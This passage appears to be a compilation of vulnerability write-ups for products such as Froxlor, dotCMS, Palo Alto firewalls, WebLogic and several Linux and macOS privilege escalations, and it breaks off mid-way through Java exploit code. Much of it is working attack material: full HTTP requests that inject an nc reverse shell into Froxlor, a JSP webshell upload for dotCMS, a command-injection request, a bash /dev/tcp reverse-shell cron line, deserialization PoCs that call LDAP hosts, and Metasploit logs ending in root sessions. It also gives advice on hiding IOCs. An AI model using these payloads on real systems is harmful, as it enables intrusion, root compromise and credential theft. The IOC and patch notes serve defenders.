This vulnerability is an arbitrary file write in the configurationWizard/keyUpload.jsp endpoint. The arbitrary file write results in unauthenticated remote code execution in the context of the root user.

A FortiNAC device provides protection against IoT threats, extends control to third-party devices, and orchestrates automatic responses to a wide range of networking events.. Despite these devices not having much of an internet facing footprint, if an attacker already inside your network gains root access to this device it will provide a great starting point to corrode the integrity of the rest of your network. Exploitation is trivial.

IOCs

The original PoC as well as the metasploit module both use the arbitrary file write to drop a cron job (inside /etc/cron.d/) that initiates a reverse shell as the root user.

A target compromised by the original PoC would have a log line in /var/log/cron similar to:

Mar  8 11:40:01 localhost CROND[17120]: (root) CMD (bash -i >& /dev/tcp/192.168.123.1/4444 0>&1)

Whereas a target compromised by the metasploit module, will leave slightly different log lines in /var/log/cron depending on the Meterpreter session returned.

Python Meterpreter:

Mar  8 15:44:01 localhost CROND[11377]: (root) CMD (python /tmp/gSYDIjeD 0>&1)
Mar  8 15:44:03 localhost CROND[8878]: (root) CMDOUT (Traceback (most recent call last):)
Mar  8 15:44:03 localhost CROND[8878]: (root) CMDOUT (  File "/tmp/gSYDIjeD", line 1, in <module>)
Mar  8 15:44:03 localhost CROND[8878]: (root) CMDOUT (    exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LxDAQPTe/IrdkMIamxrIuVhDxICKCuzeRpU1HLU3TkmS1Kv53N3TxMsN78+bNRzdMo480jKbHKL5t14imDlhqEaLfmyhiNyB5HT2daeeor90bcpXDmmTRfx1iFqqlWS6JF+KIN48397vN9un2+gGSTprROTSRc6YuCqnKlVTFmVRMaK1zSJrGY92TDGeDU0zmaboMFnHi50BstSwl926qTc/Z1R0TQXo0H1wDPOcvpK2O2AL5fO8sUouOt3BpD3btyX/1dKGB4IyGp7tli2YcJo8h8OUFsil1IltMSvHDAluHXyB/G3tfLA==')[0]))))
Mar  8 15:44:03 localhost CROND[8878]: (root) CMDOUT (  File "<string>", line 9, in <module>)

Linux Meterpreter:

Mar  8 15:46:01 localhost CROND[11595]: (root) CMD (chmod +x /tmp/vprwoPAh && /tmp/vprwoPAh 0>&1)

Of course, logs and the cron job files themselves can be cleaned up once root access is gained. In addition, there are also different ways to achieve RCE from an arbitrary file write. During testing I was able to drop a .jsp payload in the application webroot, although once triggered it returned a shell in the context of the user running the application and not the root user. Just be aware there could be IOCs outside /var/log/cron

Attacker Value and Exploitability

Froxlor is a an open source web hosting control panel, with around 20,000 live instances listening on the internet at the time of writing. In versions <= 2.0.6 there exists an authenticated RCE vulnerability. Exploitation is trivia given credentials to the Froxlor application, as PoC details and a metasploit module are readily available, giving this vulnerability a moderate Attacker Value & Exploitability rating.

Vulnerability Details

Exploiting this vuln requires a few simple steps:

• As an authenticated user, change the logfile path to: /var/www/html/froxlor/templates/Froxlor/footer.html.twig this can be done by sending the following POST request to the server:
  

POST /froxlor/admin_settings.php?page=overview&part=logging HTTP/1.1
Host: 172.16.199.140
Content-Length: 1125
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.16.199.140
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt8L3nWBWoG1AKOVm
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.16.199.140/froxlor/admin_settings.php?page=overview&part=logging
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=admjpmobmubbadpq6lpun95b8q
Connection: close

------WebKitFormBoundaryt8L3nWBWoG1AKOVm
Content-Disposition: form-data; name="logger_enabled"

0
------WebKitFormBoundaryt8L3nWBWoG1AKOVm
Content-Disposition: form-data; name="logger_enabled"

1
------WebKitFormBoundaryt8L3nWBWoG1AKOVm
Content-Disposition: form-data; name="logger_severity"

2
------WebKitFormBoundaryt8L3nWBWoG1AKOVm
Content-Disposition: form-data; name="logger_logtypes[]"

file
------WebKitFormBoundaryt8L3nWBWoG1AKOVm
Content-Disposition: form-data; name="logger_logfile"

/var/www/html/froxlor/logs/froxlor.log
------WebKitFormBoundaryt8L3nWBWoG1AKOVm
Content-Disposition: form-data; name="logger_log_cron"

0
------WebKitFormBoundaryt8L3nWBWoG1AKOVm
Content-Disposition: form-data; name="csrf_token"

cce9438c7954b65c86960649e5b95e8fc1157c61
------WebKitFormBoundaryt8L3nWBWoG1AKOVm
Content-Disposition: form-data; name="page"

overview
------WebKitFormBoundaryt8L3nWBWoG1AKOVm
Content-Disposition: form-data; name="action"


------WebKitFormBoundaryt8L3nWBWoG1AKOVm
Content-Disposition: form-data; name="send"

send
------WebKitFormBoundaryt8L3nWBWoG1AKOVm--

(Twig is a template engine for the PHP programming language. The file mentioned above, /footer.html.twig is the footer for the homepage of the Froxlor application and lucky for the attacker, it gets executed every time the homepage is refreshed.)

• Next inject a payload into the new logfile with the following format: {{['COMMAND']|filter('exec')}}1 this will ensure the command will be executed when the .twig file is loaded. This can be achieved by changing the ‘theme’ of the froxlor application as an authenticated user with the following post request:
  

POST /froxlor/admin_index.php HTTP/1.1
Host: 172.16.199.140
Content-Length: 101
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.16.199.140
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.16.199.140/froxlor/admin_index.php?page=change_theme
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=8nvcp4180gkp3n68ekgtgubvpt
Connection: close

theme=%7b%7b%5b%27%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%37%32%2e%31%36%2e%31%39%39%2e%31%20%20%34%34%34%34%20%3e%2f%74%6d%70%2f%66%27%5d%7c%66%69%6c%74%65%72%28%27%65%78%65%63%27%29%7d%7d&csrf_token=caeb932a7ea81b18d82116300b79be5d8a008a10&page=change_theme&send=send&dosave=

In the above request, theme has been URL encoded and set to: {{['rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.16.199.1 4444 >/tmp/f']|filter('exec')}}

• Now, with a listener setup, all the attacker has to do send the following GET request to trigger the payload (or reload the froxlor application in their browser) and they will have a shell running in the context of the application (which if running on Ubuntu in a default configuation would be user www-data):
  

GET /froxlor/admin_index.php? HTTP/1.1
Host: 172.16.199.140
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.16.199.140/froxlor/admin_index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=8nvcp4180gkp3n68ekgtgubvpt
Connection: close

IOCs

As soon as the logfile path is changed to /footer.html.twig or any other .twig file the attacker chooses to target, the froxlor application begins writing log lines to that file. In the case of /footer.html.twig users will start to see log lines appearing in the at the bottom (or in the footer element) of the application like so:

Once the attacker has injected their payload, the application will hang, as the payload is executed and the application runs off to connect to the attacker. Now, these IOCs can be covered up if the attacker changes the log file path back to it’s original setting and then erases the payload and additional log lines from footer.html.twig. The metasploit module covers up these IOCs, so if you plan on exploiting this vuln, be sure to make use of it.

Metasploit Module Demonstration:

msf6 > use exploit/linux/http/froxlor_log_path_rce
[*] Using exploit/linux/http/froxlor_log_path_rce
msf6 exploit(linux/http/froxlor_log_path_rce) > set rhosts 172.16.199.140
rhosts => 172.16.199.140
msf6 exploit(linux/http/froxlor_log_path_rce) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(linux/http/froxlor_log_path_rce) > set lport 9191
lport => 9191
msf6 exploit(linux/http/froxlor_log_path_rce) > set username admin
username => admin
msf6 exploit(linux/http/froxlor_log_path_rce) > set password notpassword
password => notpassword
msf6 exploit(linux/http/froxlor_log_path_rce) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 172.16.199.1:9191
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Successful login
[+] The target appears to be vulnerable. Vulnerable version found: 2.0.3
[+] Successfully Logged in!
[+] CSRF token is : 5701b7e6335ab13e20e91845b210b6be0bea7621
[+] Changed logfile path to: /var/www/html/froxlor/templates/Froxlor/footer.html.twig
[*] Using URL: http://172.16.199.1:8080/ygs3pAWMRNIs
[+] Injected payload sucessfully
[*] Changing logfile path back to default value while triggering payload: /var/www/html/froxlor/logs/froxlor.log
[*] Client 172.16.199.140 (Wget/1.20.3 (linux-gnu)) requested /ygs3pAWMRNIs
[*] Sending payload to 172.16.199.140 (Wget/1.20.3 (linux-gnu))
[*] Sending stage (3045348 bytes) to 172.16.199.140
[*] Cleaning up...
[*] Deleting tampered footer.html.twig file
[*] Rewriting clean footer.html.twig file
[*] Meterpreter session 3 opened (172.16.199.1:9191 -> 172.16.199.140:50398) at 2023-02-13 18:20:02 -0500
[*] Command Stager progress - 100.00% done (117/117 bytes)
[*] Server stopped.
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer     : 172.16.199.140
OS           : Ubuntu 20.04 (Linux 5.15.0-58-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

Description

This vulnerability is the macOS equivalent of the Dirty Cow vulnerability and allows for an unprivileged user to execute code as root. The vulnerability on linux is described as: “A race condition was found in the way the kernel’s memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings.”

Attacker Value & Exploitation

This issue was fixed in:

• tvOS 16.2
  
• macOS Monterey 12.6.2
  
• macOS Ventura 13.1
  
• macOS Big Sur 11.7.2
  
• iOS 15.7.2
  
• iPadOS 15.7.2
  
• iOS 16.2
  
• iPadOS 16.2
  
• watchOS 9.2.
  

Numerous recent versions of Apple products affected makes this quite valuable for attackers. It’s not everyday we see such a reliable LPE in current versions of macOS. The vuln requires user authentication to exploit and would pair nicely with a successful phishing attempt to compromise an entire macOS environment. A metasploit module has been released for this vuln making exploitation trivial, be sure to patch!

msf6 exploit(osx/local/mac_dirty_cow) > run
[*] Started reverse TCP handler on 172.16.199.1:4446
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Writing '/tmp/.wNDx86' (17204 bytes) ...
[*] Writing '/tmp/.TKIGnTw0l' (51392 bytes) ...
[*] Executing exploit '/tmp/.TKIGnTw0l /etc/pam.d/su /tmp/.DfoZanro'
[*] Exploit result:
Testing for 10 seconds...
RO mapping was modified
[*] Running cmd:
echo '/tmp/.wNDx86 & disown' | su
[*] Executing exploit (restoring) '/tmp/.TKIGnTw0l /etc/pam.d/su /tmp/.aclP0u'
[*] Exploit result:
Testing for 10 seconds...
RO mapping was modified
[+] Deleted /tmp/.wNDx86
[+] Deleted /tmp/.aclP0u
[+] Deleted /tmp/.DfoZanro
[+] Deleted /tmp/.TKIGnTw0l
[*] Command shell session 2 opened (172.16.199.1:4446 -> 172.16.199.130:49802) at 2023-02-01 16:10:54 -0500
options
/bin/sh: line 29: options: command not found
id
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),61(localaccounts),80(admin),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae),701(com.apple.sharepoint.group.1)
uname -a
Darwin msfusers-Mac.local 22.0.0 Darwin Kernel Version 22.0.0: Tue May 24 20:31:35 PDT 2022; root:xnu-8792.0.50.111.3~5/RELEASE_X86_64 x86_64

Description

This vulnerability exists in linux kernel’s io_uring implementation. This vuln allows an attacker with a local account to corrupt system memory, crash the system or escalate privileges in order to spawn a root shell.

Attacker Value & Exploitation

Github user, @jvoisin explained, user @minipli-oss, wrote a neat exploit for CVE-2022-1043, and it has the following advantages over your everyday Linux LPE:

• No hardcoded offsets
  
• No ROP
  
• Architecture-agnostic-ish
  
• Bypasses all existing mitigations, even out-of-kernel-ones like grsecurity (for version older than the exploit of course, since this class of vulnerabilities is now mitigated there) and LKRG.
  

The only drawback is that it only works on v5.12-rc3 to v5.14-rc7 a fairly small subset of the linux kernel.

If the system is vulnerable, exploitation is trivial. The neat, aforementioned exploit has been integrated into the Metasploit making getting a root shell a piece of cake:

msf6 auxiliary(scanner/ssh/ssh_login) > run rhosts=172.16.199.132 username=msfuser password=notpassword

[*] 172.16.199.132:22 - Starting bruteforce
[+] 172.16.199.132:22 - Success: 'msfuser:notpassword' 'uid=1000(msfuser) gid=1000(msfuser) groups=1000(msfuser),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare) Linux msfuser-virtual-machine 5.13.12-051312-generic #202108180838 SMP Wed Aug 18 08:41:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux '
[*] SSH session 1 opened (172.16.199.1:60829 -> 172.16.199.132:22) at 2023-02-01 10:59:16 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) > use linux/local/cve_2022_1043_io_uring_priv_esc
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2022_1043_io_uring_priv_esc) > set session 1
session => 1
msf6 exploit(linux/local/cve_2022_1043_io_uring_priv_esc) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(linux/local/cve_2022_1043_io_uring_priv_esc) > set lport 4447
lport => 4447
msf6 exploit(linux/local/cve_2022_1043_io_uring_priv_esc) > run

[!] SESSION may not be compatible with this module:
[!]  * incompatible session architecture:
[*] Started reverse TCP handler on 172.16.199.1:4447
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. > 1 CPU required, detected: 2
[*] Writing '/tmp/.5Z1IxJt0' (282 bytes) ...
[*] Launching exploit...
[*] Sending stage (3045348 bytes) to 172.16.199.132
[+] Deleted /tmp/.5Z1IxJt0
[+] Deleted /tmp/.qfp5AH76BB
[*] Meterpreter session 2 opened (172.16.199.1:4447 -> 172.16.199.132:49236) at 2023-02-01 10:59:51 -0500

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 172.16.199.132
OS           : Ubuntu 22.04 (Linux 5.13.12-051312-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

Defensive Suggestions

Not much to say here other don’t run a vulnerable kernel version, patch!

Description

This vulnerability exploits linux priv esc against VMWare virtual machines with kernel 4.14-rc1 – 5.17-rc1 due to a VMWare driver bug. Specifically, a use-after-free flaw was found in the Linux kernel’s vmw_execbuf_copy_fence_user function in drivers/gpu/drm/vmwgfx/vmwgfx_execbuf.c in vmwgfx which allows an authenticated user to escalate privileges and spawn a root shell.

Attacker Value & Exploitability

Linux kernel 4.14 was released 12 November 2017 while 5.17 was released 20 March 2022. Although this vulnerability only affects VMware virtual machines I would expect the attack surface to be rather large given the wide range of kernels affected – about 4.5 years of linux kernel releases.

Exploitability requires user level privileges however once those are obtained exploitation is trivial given the metasploit module written to exploit this vulnerability. Simply get a user session and run the exploit as seen demonstrated below:

msf6 auxiliary(scanner/ssh/ssh_login) > run rhosts=172.16.199.132 rport=4444 username=msfuser password=notpassword

[*] 172.16.199.132:22 - Starting bruteforce
[+] 172.16.199.132:22 - Success: 'msfuser:notpassword' 'uid=1000(msfuser) gid=1000(msfuser) groups=1000(msfuser),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare) Linux msfuser-virtual-machine 5.13.12-051312-generic #202108180838 SMP Wed Aug 18 08:41:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux '
[*] SSH session 8 opened (172.16.199.1:55151 -> 172.16.199.132:22) at 2023-01-20 09:34:18 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 exploit(linux/local/vmwgfx_fd_priv_esc) > run session=8 rhosts=172.16.199.132 rport=4445

[!] SESSION may not be compatible with this module:
[!]  * incompatible session architecture:
[*] Started reverse TCP handler on 172.16.199.1:4445
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. vmwgfx installed
[+] Original /bin/chfn backed up to /Users/jheysel/.msf4/loot/20230120093436_default_172.16.199.132_binchfn_034079.bin
[*] Uploading payload to /tmp/.6ntizxlWd8
[*] Writing '/tmp/.6ntizxlWd8' (282 bytes) ...
[*] Launching exploit...
[*] Sending stage (3045348 bytes) to 172.16.199.132
[+] Deleted /tmp/.oWt34mDG4b
[*] Meterpreter session 9 opened (172.16.199.1:4445 -> 172.16.199.132:36990) at 2023-01-20 09:34:45 -0500
[*] Replacing trojaned /bin/chfn with original

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 172.16.199.132
OS           : Ubuntu 22.04 (Linux 5.13.12-051312-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

Defensive Suggestions

In order to protect yourself against exploitation of this vulnerability, ensure your linux VM kernel’s are up to date, and are only connected to the network where necessary.

If you’re absolutely unable to upgrade the kernel of a vulnerable machine it is possible to prevent the vulnerable kernel module from loading, RedHat demonstrates how to do that here: https://access.redhat.com/solutions/41278. However, this is a bandaid fix and promotes poor security posture, update the kernel whenever possible.

This is a trivial SQL injection and is very easy to exploit. The vulnerability lies in the bookingpress_front_get_category_services action in the BookingPress Wordpress Plugin. The vulnerable action accepts a parameter total_service which doesn’t properly sanitize input before passing it into a dynamically generated SQL query.

The vulnerability allows an unauthenticated attacker to instantly dump all the username and password hashes in the database. Anyone that can access the plugin page, also has access to all the creds in the database:

Wordpress User Credentials
==========================

 Username       Email                         Hash
 --------       -----                         ----
 admin          admin@admin.com               $P$BfxUckldN6AiHPD0BK6jg58se2b.aL.
 hackerman      hackerman@hacktheworld.io     $P$BESfz7bqSOY8VkUfuYXAZ/bT5E36ww/
 mr_metasploit  mr_metasploit@metaslpoit.org  $P$BDb8pIfym5dS6WTnNU8vU5Uk6i89fk.
 msfuser        msfuser@rapid7.com            $P$BpITVDPiqOZ7fyQbI5g9rsgUvZQFBd1
 todd           todd@toddtown.com             $P$BnlpkVgxGFWnmvdDQ3JStgpIx8LMFj0

(the above output was generated from running the metasploit module against BookingPress v1.0.10)

With only a few thousand active installations I gave the Attacker Value a 2/5. Always be sure to keep your WordPress plugins up to date!

CVE-2020-26352 is an unauthenticated directory traversal vulnerability in dotCMS which allows for arbitrary file upload and effectively RCE.

When files are uploaded to DotCMS via the file upload API, before the file becomes content, dotCMS writes the file down in a temporary directory. The vulnerability lies in the fact that DotCMS does not sanitize the filename passed in via the multipart request header and thus does not sanitize the temporary file’s name. This allows an attacker to craft a request to POST files to dotCMS via the ContentResource API that gets written outside of the dotCMS temporary directory. An attacker can upload a specially crafted .jsp file to the webapp/ROOT directory of dotCMS which can allow for remote code execution.

A metasploit module is available and easy to use. If you have an internet facing dotCMS instance running, make sure it’s patched!

A textbook command injection vulnerability.

An authenticated user is able to send whats referred to as op (operational mode command) requests to the API. One of the operational mode commands supported is a ping request that gets run as root by the server. Intended to allow users to send a host address to the server and for the server to then ping that host to see if it responds to ICMP requests. However, as you may have guessed, the request to the API doesn’t get sanitized well enough and you can inject/ append OS commands to the end of the ping request which then get executed as root.

Once authenticated, you can use the following GET request to run the id command:

GET /api/?cmd=%3ccms-ping%3e%3chost%3e151.7.17.75%3c/host%3e%3ccount%3e22%3c/count%3e%3cpattern%3e111%3c%21%5bCDATA%5b%7c%7cid%7c%7c%5d%5d%3e%3c/pattern%3e%3c/cms-ping%3e&type=op&key=LUFRPT04bEFiL1gzV1VNS3JHTkZ5dStqaURmS2ZoWXM9R24zVDdib0NMdjZIWDVqTGJqUXVhN3VPWVFSWW8yY0dsZUVKUTRsS004UEhMVHhOSVRES3BEcDR0TUJCZUg0aQ%3d%3d HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Cookie: PHPSESSID=ff726cde08ee6755f82453a00685a2c1

Despite needing authentication, this is pretty bad. An attacker getting root access to your firewall will be enough to ruin your day. Palo Alto Network firewalls are popular and widely deployed, patch if you haven’t already!

The only downside of this vulnerability is that you don’t get command execution as root, you get execution in the context of the user running WSO2. Other than that, this is an attackers delight. It is is extremely trivial to exploit. Unpatched WSO2 API Managers should not be internet facing. There is a metasploit module as well as PoC details available. For more information see the Rapid7 Analysis.

Git Large File Storage or Git LFS is an open source extention used to store large files outside of the git repository. Git LFS stores the large file on a remote server while storing a pointer to the file in the repo.

Git LFS (git-lfs) versions <= 2.12 has a vulnerability that allows remote attackers to execute arbitrary code on the victim’s Windows system if the victim clones the attacker’s repository which makes use of git-lfs.

Git LFS does not specify the full path to the git binary when spawning a new git process as via the following ExecCommand() function:

subprocess/subprocess_windows.go:

    func ExecCommand(name string, arg ...string) *Cmd {
        cmd := exec.Command(name, arg...)
        cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
        cmd.Env = fetchEnvironment()
        return newCmd(cmd)
    }

If the attacker places a malicious executable file in the repository (which must be named either, git.bat, git.exe or git.cmd) when the repository gets cloned the malicous file gets executed instead of the original git binary located in a trusted path.

This can lead to priviliged access and take over of the windows host that gets tricked into cloning the malicious repo. Definitely worth patching although due to the level of user interaction required (they have to preform the clone) I would say the exploitability rating is quite low dispite having a CVSS score of 9.8

Polkit is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged ones. D-Bus is a message-oriented middleware mechanism that allows communication between multiple processes running concurrently on the same machine.

A vulnerbility was found in Polkit that allows a local unprivileged attacker to obtain execution as the root user. The attacker needs to invoke method over D-bus and then kill the client process. Not always, but sometimes this will cause the operation to complete without requiring authenetication.

This allows a local unprivilged attacker to attempt to create a new user with sudo access and a known password. When successful, the attacker can then execute a payload with root privileges.

This is bad. Polkit is installed by default across many linux distributions making this a fantastic attack vector. Very important to patch!

The API used by DotCMS is vulnerable to an arbitrary file upload vulnerability which can lead to RCE. The /api/content/ endpoint allows for files to be uploaded to the tomcat server. The filename in versions prior to 22.03, 5.3.8.10, 21.06.7 is not sanitized and allows the attacker to drop a malicious .jsp file in the webroot of the tomcat server, which is accessible remotely.

PoC taken from the write up mentioned below:

POST /api/content/ HTTP/1.1
Host: 172.16.199.227:8443
User-Agent: curl/7.64.1
Accept: */*
Content-Length: 1085
Content-Type: multipart/form-data; boundary=------------------------aadc326f7ae3eac3
Connection: close

--------------------------aadc326f7ae3eac3
Content-Disposition: form-data; name="name"; filename="../../a.jsp"
Content-Type: text/plain

<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "<BR>");
    Process p;
    if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
        p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
    }
    else{
        p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
    out.println(disr);
    disr = dis.readLine();
    }
}
%>
</pre>
</BODY></HTML>
--------------------------aadc326f7ae3eac3--

The filename has been changed to work on windows and on linux irrespective of the relative install path of DotCMS.

This vulnerability is trivial to exploit and patching immediately is recommended.

The security research to find this vulnerability was performed by Hussein Daher and Shubham Shah and they have written a very nice detailed write up for more information.

Description

On July 20, 2021 Oracle released their quarterly security advisory which describes a remote execution vulnerability in multiple versions of WebLogic Server. The vulnerability is assigned CVE-2021-2394 and NIST assigned it a critical CVSSv3 rating of 9.8. The vulnerability is accessible through IIOP, a protocol that WebLogic exposes to the internet by default, on port 7001.

Affected Products

WebLogic 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0.

Vulnerability Analysis

The vulnerability is the result of old ideas combined with new techniques . The first half of this vulnerability is similar to the exploitation path taken by CVE-2020-14825 (which is quite similar to it’s predecessor CVE-2020-14645). The second half of this vulnerability is similar to CVE-2020-14756. First, I’ll briefly outline the details of CVE-2020-14825 as many of the principles are the same

The PoC for CVE-2020-14825:

import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.comparator.ExtractorComparator;
import oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor;	
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import ysoserial.payloads.util.Reflections;

import java.io.*;
import java.util.PriorityQueue;

public class CVE_2020_14825 {
    public static void main(String[] args) throws Exception {
        MethodAttributeAccessor accessor = new MethodAttributeAccessor();
        accessor.setAttributeName("Timeline Sec");
        accessor.setIsWriteOnly(true);
        accessor.setGetMethodName("getDatabaseMetaData");
//        accessor.setGetMethodName("connect");

        JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(com.sun.rowset.JdbcRowSetImpl.class);
        jdbcRowSet.setDataSourceName("ldap://192.168.247.128:1389/#Poc");

        LockVersionExtractor extractor = new LockVersionExtractor(accessor,"");

        PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(extractor));
        Reflections.setFieldValue(queue,"size",2);

        Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));
        queueArray[0] = jdbcRowSet;

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(new File("cve_2020_14825.ser")));
        out.writeObject(queue);
        out.flush();
        out.close();
//        readObject();
    }

    public static void readObject() {
        FileInputStream fis = null;
        try {
            fis = new FileInputStream(new File("").getAbsolutePath() + "/cve_2020_14825.ser");
            ObjectInputStream ois = new ObjectInputStream(fis);
            ois.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

CVE-2020-14825 was patched by adding oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor and org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor to DEFAULT_BLACKLIST_CLASSES inside WebLogicFilterConfig.class which prevents these classes from being used to execute malicious code. (Quick note on CVE-2020-14645 mentioned above, it used com.tangosol.util.extractor.UniversalExtractor to execute code before that class was added to the blacklist in the same way LockVersionExtractor was blacklisted when patching CVE-2020-14825).

PoC for CVE-2021-2394:

import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.coherence.servlet.AttributeHolder;
import com.tangosol.util.SortedBag;
import com.tangosol.util.aggregator.TopNAggregator;
import oracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor;
import org.eclipse.persistence.exceptions.DescriptorException;
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import org.eclipse.persistence.mappings.AttributeAccessor;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.io.*;
import java.lang.reflect.*;
import java.util.Hashtable;


public class CVE_2021_2394 {
    public static void main(String[] args) throws Exception {

        String ldapurl = null;
        String rhost = null;
        try {
            String ip = args[0];
            String port = args[1];
            ldapurl = args[2];
            rhost = String.format("iiop://%s:%s", ip, port);
        } catch (Exception e) {
            System.out.println("请输入正确的格式：");
            System.out.println("java -jar CVE_2021_2394.jar rhost rport ldapurl");
            System.out.println("java -jar CVE_2021_2394.jar 192.168.137.1 7001 ldap://192.168.137.1:8087/Exploit");
            System.exit(0);
        }

        try {
            System.out.println("[*] Attacking...");
            MethodAttributeAccessor accessor = new MethodAttributeAccessor();
            accessor.setAttributeName("Timeline Sec");
            accessor.setGetMethodName("connect");
            accessor.setSetMethodName("setConnection");

            JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(JdbcRowSetImpl.class);
            jdbcRowSet.setDataSourceName(ldapurl);

            FilterExtractor extractor = new FilterExtractor(accessor);
            FilterExtractor extractor1 = new FilterExtractor(new TLSAttributeAccessor());

            SortedBag sortedBag = new TopNAggregator.PartialResult(extractor1, 2);
            AttributeHolder attributeHolder = new AttributeHolder();
            sortedBag.add(jdbcRowSet);

            Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField("m_comparator");
            m_comparator.setAccessible(true);
            m_comparator.set(sortedBag, extractor);

            Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);
            setInternalValue.setAccessible(true);
            setInternalValue.invoke(attributeHolder, sortedBag);


//            Test locally:
//            FileOutputStream fileOutputStream = new FileOutputStream(new File("test.ser"));
//            ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
//            objectOutputStream.writeObject(attributeHolder);
//
//            readObject();

            Hashtable<String, String> env = new Hashtable<String, String>();
            env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
            env.put("java.naming.provider.url", rhost);
            Context context = new InitialContext(env);

